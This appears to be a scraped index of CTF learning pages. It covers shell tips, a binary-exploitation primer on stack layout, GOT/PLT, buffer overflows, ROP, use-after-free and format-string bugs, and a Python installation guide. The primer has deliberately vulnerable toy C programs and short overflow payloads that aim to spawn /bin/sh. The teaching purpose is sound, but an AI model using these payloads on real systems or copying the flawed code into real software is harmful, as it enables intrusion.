${#word}:return the length of the variable word
for((i=0;i<${#word};i++))\ndo\necho ${word:i:1);\ndone\n
Display the file in ASCII characters:
$od -c filename\n
"},{"location":"CTF/PWN/","title":"Binary Exploitation","text":"https://ctf101.org/binary-exploitation/overview/
Binaries, or executables, are machine codes for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional Windows executable. Binary Exploitation is a broad topic within Cyber Security that really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
Common topics addressed by Binary Exploitation or 'pwn' challenges include:
A register is a location within the processor that is able to store data, much like RAM. Unlike RAM, however, accesses to registers are effectively instantaneous, whereas reads from main memory can take hundreds of CPU cycles to return.
Registers can hold any value: addresses (pointers), results from mathematical operations, characters, etc. Some registers are reserved however, meaning they have a special purpose and are not \"general purpose registers\" (GPRs). On x86, the only 2 reserved registers are rip
and rsp
which hold the address of the next instruction to execute and the address of the stack respectively.
On x86, the same register can have different-sized accesses for backward compatibility. For example, the rax
register is the full 64-bit register, eax
is the low 32 bits of rax
, ax
is the low 16 bits, al
is the low 8 bits, and ah
is the high 8 bits of ax
(bits 8-16 of rax
).
In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).
In x86, the stack is simply an area in RAM that was chosen to be the stack - there is no special hardware to store stack contents. The esp
/rsp
register holds the address in memory where the bottom of the stack resides. When something is push
ed to the stack, esp
decrements by 4 (or 8 on 64-bit x86), and the value that was push
ed is stored at that location in memory. Likewise, when a pop
instruction is executed, the value at esp
is retrieved (i.e. esp
is dereferenced), and esp
is then incremented by 4 (or 8).
N.B. The stack \"grows\" down to lower memory addresses!
Conventionally, ebp
/rbp
contains the address of the top of the current stack frame, and so sometimes local variables are referenced as an offset relative to ebp
rather than an offset to esp
. A stack frame is essentially just the space used on the stack by a given function.
The stack is primarily used for a few things:
Let's see what the stack looks like right after say_hi
has been called in this 32-bit x86 C program:
#include <stdio.h>\n\nvoid say_hi(const char * name) {\n printf(\"Hello %s!\\n\", name);\n}\n\nint main(int argc, char ** argv) {\n char * name;\n if (argc != 2) {\n return 1;\n }\n name = argv[1];\n say_hi(name);\n return 0;\n}\n
And the relevant assembly:
0804840b <say_hi>:\n 804840b: 55 push ebp\n 804840c: 89 e5 mov ebp,esp\n 804840e: 83 ec 08 sub esp,0x8\n 8048411: 83 ec 08 sub esp,0x8\n 8048414: ff 75 08 push DWORD PTR [ebp+0x8]\n 8048417: 68 f0 84 04 08 push 0x80484f0\n 804841c: e8 bf fe ff ff call 80482e0 <printf@plt>\n 8048421: 83 c4 10 add esp,0x10\n 8048424: 90 nop\n 8048425: c9 leave\n 8048426: c3 ret\n\n08048427 <main>:\n 8048427: 8d 4c 24 04 lea ecx,[esp+0x4]\n 804842b: 83 e4 f0 and esp,0xfffffff0\n 804842e: ff 71 fc push DWORD PTR [ecx-0x4]\n 8048431: 55 push ebp\n 8048432: 89 e5 mov ebp,esp\n 8048434: 51 push ecx\n 8048435: 83 ec 14 sub esp,0x14\n 8048438: 89 c8 mov eax,ecx\n 804843a: 83 38 02 cmp DWORD PTR [eax],0x2\n 804843d: 74 07 je 8048446 <main+0x1f>\n 804843f: b8 01 00 00 00 mov eax,0x1\n 8048444: eb 1c jmp 8048462 <main+0x3b>\n 8048446: 8b 40 04 mov eax,DWORD PTR [eax+0x4]\n 8048449: 8b 40 04 mov eax,DWORD PTR [eax+0x4]\n 804844c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax\n 804844f: 83 ec 0c sub esp,0xc\n 8048452: ff 75 f4 push DWORD PTR [ebp-0xc]\n 8048455: e8 b1 ff ff ff call 804840b <say_hi>\n 804845a: 83 c4 10 add esp,0x10\n 804845d: b8 00 00 00 00 mov eax,0x0\n 8048462: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]\n 8048465: c9 leave\n 8048466: 8d 61 fc lea esp,[ecx-0x4]\n 8048469: c3 ret\n
Skipping over the bulk of main
, you'll see that at 0x8048452
main
's name
local is pushed to the stack because it's the first argument to say_hi
. Then, a call
instruction is executed. call
instructions first push the current instruction pointer to the stack, then jump to their destination. So when the processor begins executing say_hi
at 0x0804840b
, the stack looks like this:
EIP = 0x0804840b (push ebp)\nESP = 0xffff0000\nEBP = 0xffff002c\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\nESP -> 0xffff0000: 0x0804845a // Return address for say_hi\n
The first thing say_hi
does is save the current ebp
so that when it returns, ebp
is back where main
expects it to be. The stack now looks like this:
EIP = 0x0804840c (mov ebp, esp)\nESP = 0xfffefffc\nEBP = 0xffff002c\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nESP -> 0xfffefffc: 0xffff002c // Saved EBP\n
Again, note how esp
gets smaller when values are pushed to the stack.
Next, the current esp
is saved into ebp
, marking the top of the new stack frame.
EIP = 0x0804840e (sub esp, 0x8)\nESP = 0xfffefffc\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nESP, EBP -> 0xfffefffc: 0xffff002c // Saved EBP\n
Then, the stack is \"grown\" to accommodate local variables inside say_hi
.
EIP = 0x08048414 (push [ebp + 0x8])\nESP = 0xfffeffec\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nEBP -> 0xfffefffc: 0xffff002c // Saved EBP\n 0xfffefff8: UNDEFINED\n 0xfffefff4: UNDEFINED\n 0xfffefff0: UNDEFINED\nESP -> 0xfffefffc: UNDEFINED\n
NOTE: stack space is not implicitly cleared!
Now, the 2 arguments to printf
are pushed in reverse order.
EIP = 0x0804841c (call printf@plt)\nESP = 0xfffeffe4\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nEBP -> 0xfffefffc: 0xffff002c // Saved EBP\n 0xfffefff8: UNDEFINED\n 0xfffefff4: UNDEFINED\n 0xfffefff0: UNDEFINED\n 0xfffeffec: UNDEFINED\n 0xfffeffe8: 0xffffa0a0 // printf argument 2\nESP -> 0xfffeffe4: 0x080484f0 // printf argument 1\n
Finally, printf
is called, which pushes the address of the next instruction to execute.
EIP = 0x080482e0\nESP = 0xfffeffe4\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nEBP -> 0xfffefffc: 0xffff002c // Saved EBP\n 0xfffefff8: UNDEFINED\n 0xfffefff4: UNDEFINED\n 0xfffefff0: UNDEFINED\n 0xfffeffec: UNDEFINED\n 0xfffeffe8: 0xffffa0a0 // printf argument 2\n 0xfffeffe4: 0x080484f0 // printf argument 1\nESP -> 0xfffeffe0: 0x08048421 // Return address for printf\n
Once printf
has returned, the leave
instruction moves ebp
into esp
, and pops the saved EBP.
EIP = 0x08048426 (ret)\nESP = 0xfffefffc\nEBP = 0xffff002c\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\nESP -> 0xffff0000: 0x0804845a // Return address for say_hi\n
And finally, ret
pops the saved instruction pointer into eip
which causes the program to return to main with the same esp
, ebp
, and stack contents as when say_hi
was initially called.
EIP = 0x0804845a (add esp, 0x10)\nESP = 0xffff0000\nEBP = 0xffff002c\n\nESP -> 0xffff0004: 0xffffa0a0 // say_hi argument 1\n
"},{"location":"CTF/PWN/#calling-conventions","title":"Calling Conventions","text":"To be able to call functions, there needs to be an agreed-upon way to pass arguments. If a program is entirely self-contained in a binary, the compiler would be free to decide the calling convention. However, in reality, shared libraries are used so that common code (e.g. libc) can be stored once and dynamically linked into programs that need it, reducing program size.
In Linux binaries, there are really only two commonly used calling conventions: cdecl for 32-bit binaries, and SysV for 64-bit
"},{"location":"CTF/PWN/#cdecl","title":"cdecl","text":"In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:
int add(int a, int b, int c) {\n return a + b + c;\n}\n
would be invoked by pushing c
, then b
, then a
.
For 64-bit binaries, function arguments are first passed in certain registers:
then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.
"},{"location":"CTF/PWN/#other-conventions","title":"Other Conventions","text":"Any method of passing arguments could be used as long as the compiler is aware of what the convention is. As a result, there have been many calling conventions in the past that aren't used frequently anymore. See Wikipedia for a comprehensive list.
"},{"location":"CTF/PWN/#got","title":"GOT","text":"The Global Offset Table (or GOT) is a section inside of programs that hold addresses of functions that are dynamically linked. As mentioned in the page on calling conventions, most programs don't include every function they use to reduce binary size. Instead, common functions (like those in libc) are \"linked\" into the program so they can be saved once on disk and reused by every program.
Unless a program is marked full RELRO, the resolution of the function to address in a dynamic library is done lazily. All dynamic libraries are loaded into memory along with the main program at launch, however, functions are not mapped to their actual code until they're first called. For example, in the following C snippet puts
won't be resolved to an address in libc until after it has been called once:
int main() {\n puts(\"Hi there!\");\n puts(\"Ok bye now.\");\n return 0;\n}\n
To avoid searching through shared libraries each time a function is called, the result of the lookup is saved into the GOT so future function calls \"short circuit\" straight to their implementation bypassing the dynamic resolver.
This has two important implications:
These two facts will become very useful to use in Return Oriented Programming
"},{"location":"CTF/PWN/#plt","title":"PLT","text":"Before the address of a function has been resolved, the GOT points to an entry in the Procedure Linkage Table (PLT). This is a small \"stub\" function that is responsible for calling the dynamic linker with (effectively) the name of the function that should be resolved.
"},{"location":"CTF/PWN/#buffers","title":"Buffers","text":"A buffer is any allocated space in memory where data (often user input) can be stored. For example, in the following C program name
would be considered a stack buffer:
#include <stdio.h>\n\nint main() {\n char name[64] = {0};\n read(0, name, 63);\n printf(\"Hello %s\", name);\n return 0;\n}\n
Buffers could also be global variables:
#include <stdio.h>\n\nchar name[64] = {0};\n\nint main() {\n read(0, name, 63);\n printf(\"Hello %s\", name);\n return 0;\n}\n
Or dynamically allocated on the heap:
#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n char *name = malloc(64);\n memset(name, 0, 64);\n read(0, name, 63);\n printf(\"Hello %s\", name);\n return 0;\n}\n
"},{"location":"CTF/PWN/#exploits","title":"Exploits","text":"Given that buffers commonly hold user input, mistakes when writing to them could result in attacker-controlled data being written outside of the buffer's space. See the page on buffer overflows for more.
"},{"location":"CTF/PWN/#buffer-overflow","title":"Buffer Overflow","text":"A Buffer Overflow is a vulnerability in which data can be written that exceeds the allocated space, allowing an attacker to overwrite other data.
"},{"location":"CTF/PWN/#stack-buffer-overflow","title":"Stack buffer overflow","text":"The simplest and most common buffer overflow is one where the buffer is on the stack. Let's look at an example.
#include <stdio.h>\n\nint main() {\n int secret = 0xdeadbeef;\n char name[100] = {0};\n read(0, name, 0x100);\n if (secret == 0x1337) {\n puts(\"Wow! Here's a secret.\");\n } else {\n puts(\"I guess you're not cool enough to see my secret\");\n }\n}\n
There's a tiny mistake in this program which will allow us to see the secret. name
is decimal 100 bytes, however, we're reading in hex 100 bytes (=256 decimal bytes)! Let's see how we can use this to our advantage.
If the compiler chose to layout the stack like this:
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0xdeadbeef // secret\n...\n 0xffff0004: 0x0\nESP -> 0xffff0000: 0x0 // name\n
let's look at what happens when we read in 0x100 bytes of 'A's.
The first decimal 100 bytes are saved properly:
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0xdeadbeef // secret\n...\n 0xffff0004: 0x41414141\nESP -> 0xffff0000: 0x41414141 // name\n
However, when the 101st byte is read in, we see an issue:
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0xdeadbe41 // secret\n...\n 0xffff0004: 0x41414141\nESP -> 0xffff0000: 0x41414141 // name\n
The least significant byte of the secret
has been overwritten! If we follow the next 3 bytes to be read in, we'll see the entirety of the secret
is \"clobbered\" with our 'A's
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0x41414141 // secret\n...\n 0xffff0004: 0x41414141\nESP -> 0xffff0000: 0x41414141 // name\n
The remaining 152 bytes would continue clobbering values up the stack.
"},{"location":"CTF/PWN/#passing-an-impossible-check","title":"Passing an impossible check","text":"How can we use this to pass the seemingly impossible check in the original program? Well, if we carefully line up our input so that the bytes that overwrite the secret
happen to be the bytes that represent 0x1337 in Little Endian, we'll see the secret message.
A small Python one-liner will work nicely: python -c \"print 'A'*100 + '\\x31\\x13\\x00\\x00'\"
This will fill the name
buffer with 100 'A's, then overwrite the secret
with the 32-bit little-endian encoding of 0x1337.
As discussed on the stack page, the instruction that the current function should jump to when it is done is also saved on the stack (denoted as \"Saved EIP\" in the above stack diagrams). If we can overwrite this, we can control where the program jumps after the main
finishes running, giving us the ability to control what the program does entirely.
Usually, the end objective in binary exploitation is to get a shell (often called \"popping a shell\") on the remote computer. The shell provides us with an easy way to run anything we want on the target computer.
Say there happens to be a nice function that does this define somewhere else in the program that we normally can't get to:
void give_shell() {\n system(\"/bin/sh\");\n}\n
Well with our buffer overflow knowledge, now we can! All we have to do is overwrite the saved EIP on the stack to the address where give_shell
is. Then, when the main returns, it will pop that address off of the stack and jump to it, running give_shell
, and giving us our shell.
Assuming give_shell
is at 0x08048fd0, we could use something like this: python -c \"print 'A'*108 + '\\xd0\\x8f\\x04\\x08'\"
We send 108 'A's to overwrite the 100 bytes that are allocated for the name
, the 4 bytes for secret
, and the 4 bytes for the saved EBP. Then we simply send the little-endian form of give_shell
's address, and we would get a shell!
This idea is extended on in Return Oriented Programming
"},{"location":"CTF/PWN/#return-oriented-programming","title":"Return Oriented Programming","text":"Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.
As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwrite saved instruction pointers, giving us control over what the program does next. Most programs don't have a convenient give_shell
function, however, so we need to find a way to manually invoke the system
or another exec
function to get us our shell.
Imagine we have a program similar to the following:
#include <stdio.h>\n#include <stdlib.h>\n\nchar name[32];\n\nint main() {\n printf(\"What's your name? \");\n read(0, name, 32);\n\n printf(\"Hi %s\\n\", name);\n\n printf(\"The time is currently \");\n system(\"/bin/date\");\n\n char echo[100];\n printf(\"What do you want me to echo back? \");\n read(0, echo, 1000);\n puts(echo);\n\n return 0;\n}\n
We obviously have a stack buffer overflow on the echo
variable which can give us EIP control when the main
returns. But we don't have a give_shell
function! So what can we do?
We can call the system
with an argument we control! Since arguments are passed in on the stack in 32-bit Linux programs (see calling conventions), if we have stack control, we have argument control.
When the main returns, we want our stack to look like something normally called system
. Recall what is on the stack after a function has been called:
... // More arguments\n 0xffff0008: 0x00000002 // Argument 2\n 0xffff0004: 0x00000001 // Argument 1\nESP -> 0xffff0000: 0x080484d0 // Return address\n
So the main
's stack frame needs to look like this:
0xffff0008: 0xdeadbeef // system argument 1\n 0xffff0004: 0xdeadbeef // return address for system\nESP -> 0xffff0000: 0x08048450 // return address for main (system's PLT entry)\n
Then when the main
returns, it will jump into the system
's PLT entry and the stack will appear just like the system
had been called normally for the first time.
Note: we don't care about the return address system
will return to because we will have already gotten our shell by then!
This is a good start, but we need to pass an argument to the system
for anything to happen. As mentioned in the page on ASLR, the stack and dynamic libraries \"move around\" each time a program is run, which means we can't easily use data on the stack or a string in libc for our argument. In this case, however, we have a very convenient name
global which will be at a known location in the binary (in the BSS segment).
Our exploit will need to do the following:
name
system
's PLT entryname
global acts as the first argument to the system
In 64-bit binaries, we have to work a bit harder to pass arguments to functions. The basic idea of overwriting the saved RIP is the same, but as discussed in calling conventions, arguments are passed in registers in 64-bit programs. In the case of running the system
, this means we will need to find a way to control the RDI register.
To do this, we'll use small snippets of assembly in the binary, called \"gadgets.\" These gadgets usually pop
one or more registers off of the stack, and then call ret
, which allows us to chain them together by making a large fake call stack.
For example, if we needed control of both RDI and RSI, we might find two gadgets in our program that look like this (using a tool like rp++ or ROPgadget):
0x400c01: pop rdi; ret\n0x400c03: pop rsi; pop r15; ret\n
We can set up a fake call stack with these gadgets to sequentially execute them, pop
ing values we control into registers, and then end with a jump to the system
.
0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\n 0xffff0018: 0x1337beef // value we want in rsi\n 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget\n 0xffff0008: 0xdeadbeef // value to be popped into rdi\nRSP -> 0xffff0000: 0x400c01 // address of rdi gadget\n
Stepping through this one instruction at a time, main
returns, jumping to our pop rdi
gadget:
RIP = 0x400c01 (pop rdi)\nRDI = UNKNOWN\nRSI = UNKNOWN\n\n 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\n 0xffff0018: 0x1337beef // value we want in rsi\n 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget\nRSP -> 0xffff0008: 0xdeadbeef // value to be popped into rdi\n
pop rdi
is then executed, popping the top of the stack into RDI:
RIP = 0x400c02 (ret)\nRDI = 0xdeadbeef\nRSI = UNKNOWN\n\n 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\n 0xffff0018: 0x1337beef // value we want in rsi\nRSP -> 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget\n
The RDI gadget then ret
s into our RSI gadget:
RIP = 0x400c03 (pop rsi)\nRDI = 0xdeadbeef\nRSI = UNKNOWN\n\n 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\nRSP -> 0xffff0018: 0x1337beef // value we want in rsi\n
RSI and R15 are popped:
RIP = 0x400c05 (ret)\nRDI = 0xdeadbeef\nRSI = 0x1337beef\n\nRSP -> 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n
And finally, the RSI gadget ret
s, jumping to whatever function we want, but now with RDI and RSI set to values we control.
Binary Security is using tools and methods in order to secure programs from being manipulated and exploited. These tools are not infallible, but when used together and implemented properly, they can raise the difficulty of exploitation greatly.
Some methods covered include:
A heap is a place in memory that a program can use to dynamically create objects. Creating objects on the heap has some advantages compared to using the stack:
There are also some disadvantages, however:
In C, there are a number of functions used to interact with the heap, but we're going to focus on the two core ones:
malloc
: allocate n
bytes on the heapfree
: free the given allocationLet's see how these could be used in a program:
#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main() {\n unsigned alloc_size = 0;\n char *stuff;\n\n printf(\"Number of bytes? \");\n scanf(\"%u\", &alloc_size);\n\n stuff = malloc(alloc_size + 1);\n memset(0, stuff, alloc_size + 1);\n\n read(0, stuff, alloc_size);\n\n printf(\"You wrote: %s\", stuff);\n\n free(stuff);\n\n return 0;\n}\n
This program reads in a size from the user, creates an allocation of that size on the heap, reads in that many bytes, then prints it back out to the user.
"},{"location":"CTF/PWN/#heap-exploits","title":"Heap Exploits","text":""},{"location":"CTF/PWN/#overflow","title":"Overflow","text":"Much like a stack buffer overflow, a heap overflow is a vulnerability where more data than can fit in the allocated buffer is read in. This could lead to heap metadata corruption, or corruption of other heap objects, which could in turn provide a new attack surface.
"},{"location":"CTF/PWN/#use-after-free-uaf","title":"Use After Free (UAF)","text":"Once free
is called on an allocation, the allocator is free to reallocate that chunk of memory in future calls to malloc
if it so chooses. However, if the program author isn't careful and uses the freed object later on, the contents may be corrupt (or even attacker controlled). This is called use after free or UAF.
#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n\ntypedef struct string {\n unsigned length;\n char *data;\n} string;\n\nint main() {\n struct string* s = malloc(sizeof(string));\n puts(\"Length:\");\n scanf(\"%u\", &s->length);\n s->data = malloc(s->length + 1);\n memset(s->data, 0, s->length + 1);\n puts(\"Data:\");\n read(0, s->data, s->length);\n\n free(s->data);\n free(s);\n\n char *s2 = malloc(16);\n memset(s2, 0, 16);\n puts(\"More data:\");\n read(0, s2, 15);\n\n // Now using s again, a UAF\n\n puts(s->data);\n\n return 0;\n}\n
In this example, we have a string
structure with a length and a pointer to the actual string data. We properly allocate, fill, and then free an instance of this structure. Then we make another allocation, fill it, and then improperly reference the freed string
. Due to how Glibc's allocator works, s2
will actually get the same memory as the original s
allocation, which in turn gives us the ability to control the s->data
pointer. This could be used to leak program data.
Not only can the heap be exploited by the data in allocations, but exploits can also use the underlying mechanisms in malloc
, free
, etc. to exploit a program. This is beyond the scope of CTF 101, but here are a few recommended resources:
A format string vulnerability is a bug where user input is passed as the format argument to printf
, scanf
, or another function in that family.
The format argument has many different specifies which could allow an attacker to leak data if they control the format argument to printf
. Since printf
and similar are variadic functions, they will continue popping data off of the stack according to the format.
For example, if we can make the format argument \"%x.%x.%x.%x\", printf
will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information.
printf
can also index to an arbitrary \"argument\" with the following syntax: \"%n$x\" (where n
is the decimal index of the argument you want).
While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf
is called with a non-constant string.
#include <stdio.h>\n#include <unistd.h>\n\nint main() {\n int secret_num = 0x8badf00d;\n\n char name[64] = {0};\n read(0, name, 64);\n printf(\"Hello \");\n printf(name);\n printf(\"! You'll never get my secret!\\n\");\n return 0;\n}\n
Due to how GCC decided to lay out the stack, secret_num
is actually at a lower address on the stack than name
, so we only have to go to the 7th \"argument\" in printf
to leak the secret:
$ ./fmt_string\n%7$llx\nHello 8badf00d3ea43eef\n! You'll never get my secret!\n
"},{"location":"CTF/Python_1/","title":"Python Programming Quick Guide - Installation and Basic IO","text":"https://www.liaoxuefeng.com/wiki/1016959663602400
https://www.w3schools.com/python/python_intro.asp
https://docs.python.org/3/
"},{"location":"CTF/Python_1/#what-is-python","title":"What is Python?","text":"Python is a popular programming language. It was created by Guido van Rossum, and released in 1991.
It is used for:
print(\"Hello, World!\")\n
"},{"location":"CTF/Python_1/#installing-python","title":"Installing Python","text":"Because Python is cross-platform, it can run on Windows, Mac, and various Linux/Unix systems. Python programs written on Windows are capable of running when put on Linux.
To start learning Python programming, you first have to install Python into your computer. Once installed, you'll get the Python interpreter (which is responsible for running Python programs), a command line interactive environment, and a simple integrated development environment.
"},{"location":"CTF/Python_1/#installing-python-38","title":"Installing Python 3.8","text":"Currently, there are two versions of Python, version 2.x and version 3.x, which are incompatible. Since version 3.x is becoming more and more popular, our tutorial will be based on the latest Python version 3.8. Please make sure that the version of Python installed on your computer is the latest 3.8.x so that you can learn this tutorial painlessly.
"},{"location":"CTF/Python_1/#installing-python-on-a-mac","title":"Installing Python on a Mac","text":"If you are using a Mac with OS X>=10.9, the version of Python that comes with the system is 2.7. To install the latest Python 3.8, there are two methods.
Method 1: Download the installer for Python 3.8 from the official Python website, double-click it after downloading and run it and install it.
Method 2: If Homebrew is installed, just install it directly via the command brew install python3
.
If you are using Linux, then I can assume that you have Linux system administration experience and should have no problem installing Python 3 on your own, otherwise, switch back to Windows.
For a large number of students who are currently still using Windows, if you have no plans to switch to a Mac soon, you can continue reading below.
"},{"location":"CTF/Python_1/#installing-python-on-windows","title":"Installing Python on Windows","text":"First, depending on your version of Windows (64-bit or 32-bit), download the 64-bit installer or 32-bit installer, then, run the downloaded exe installer:
Pay special attention to checking Add Python 3.8 to PATH
, and then click Install Now
to complete the installation.
After successful installation, open a command prompt window and type in python, two cases will appear.
Scenario one.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> python \u2502\n\u2502Python 3.8.x ... \u2502\n\u2502[MSC v... 64 bit (AMD64)] on win32 \u2502\n\u2502Type \"help\", \"copyright\", \"credits\" or \"license\" for mor\u2502\n\u2502information. \u2502\n\u2502>>> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
Seeing the above screen means that Python was installed successfully!
The fact that you see the prompt >>>
means that we are in the Python interactive environment and can type any Python code, and you will get the execution result immediately after entering. Now, type exit()
and enter to exit the Python interactive environment (you can also close the command line window directly).
Case 2: You get an error.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> python \u2502\n\u2502'python' is not recognized as an internal or external co\u2502\n\u2502mmand, operable program or batch file. \u2502\n\u2502 \u2502\n\u2502C:\\> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
This is because Windows will look for python.exe
based on the path set by a Path
environment variable, and if it doesn't find it, it will report an error. If you missed checking Add Python 3.8 to PATH
during installation, you will have to manually add the path where python.exe
is located to the Path.
If you don't know how to change the environment variables, we recommend running the Python installer again, making sure to check Add Python 3.8 to PATH
.
When we write Python code, we get a text file with a .py
extension that contains Python code. To run the code, a Python interpreter is needed to execute the .py
file.
Since the entire Python language is open source, from the specification to the interpreter, theoretically anyone with a high enough level of proficiency could write a Python interpreter to execute Python code (with great difficulty, of course). In fact, multiple Python interpreters do exist.
"},{"location":"CTF/Python_1/#cpython","title":"CPython","text":"When we download and install Python 3.x from the official Python website, we get an official version of the interpreter directly: CPython. This interpreter is developed in C, hence the name CPython. Running python
at the command line is to start the CPython interpreter.
CPython is the most widely used Python interpreter. All the code in the tutorial is also executed under CPython.
"},{"location":"CTF/Python_1/#ipython","title":"IPython","text":"IPython is an interactive interpreter based on CPython. That is, IPython is only enhanced in the way it interacts, but the functionality of executing Python code is exactly the same as CPython. It's like many domestic browsers have different appearances, but the kernel is actually calling IE.
CPython uses >>>
as the prompt, while IPython uses In [serial number]:
as the prompt.
PyPy is another Python interpreter that targets execution speed. PyPy uses JIT technology to dynamically compile (note that it does not interpret) Python code, so it can significantly improve the execution speed of Python code.
The vast majority of Python code will run under PyPy, but PyPy and CPython are somewhat different, which results in the same Python code executing under both interpreters may have different results. If your code is going to be executed under PyPy, you need to understand the differences between PyPy and CPython.
"},{"location":"CTF/Python_1/#jython","title":"Jython","text":"Jython is a Python interpreter that runs on the Java platform and can compile Python code directly into Java bytecode for execution.
"},{"location":"CTF/Python_1/#ironpython","title":"IronPython","text":"IronPython is similar to Jython, except that IronPython is a Python interpreter that runs on Microsoft.
"},{"location":"CTF/Python_1/#summary","title":"Summary","text":"There are many interpreters for Python, but the most widely used is CPython. If you want to interact with Java or .Net.
All code in this tutorial is guaranteed to run under CPython version 3.x only. Be sure to install CPython locally (that is, download the installer from the official Python website).
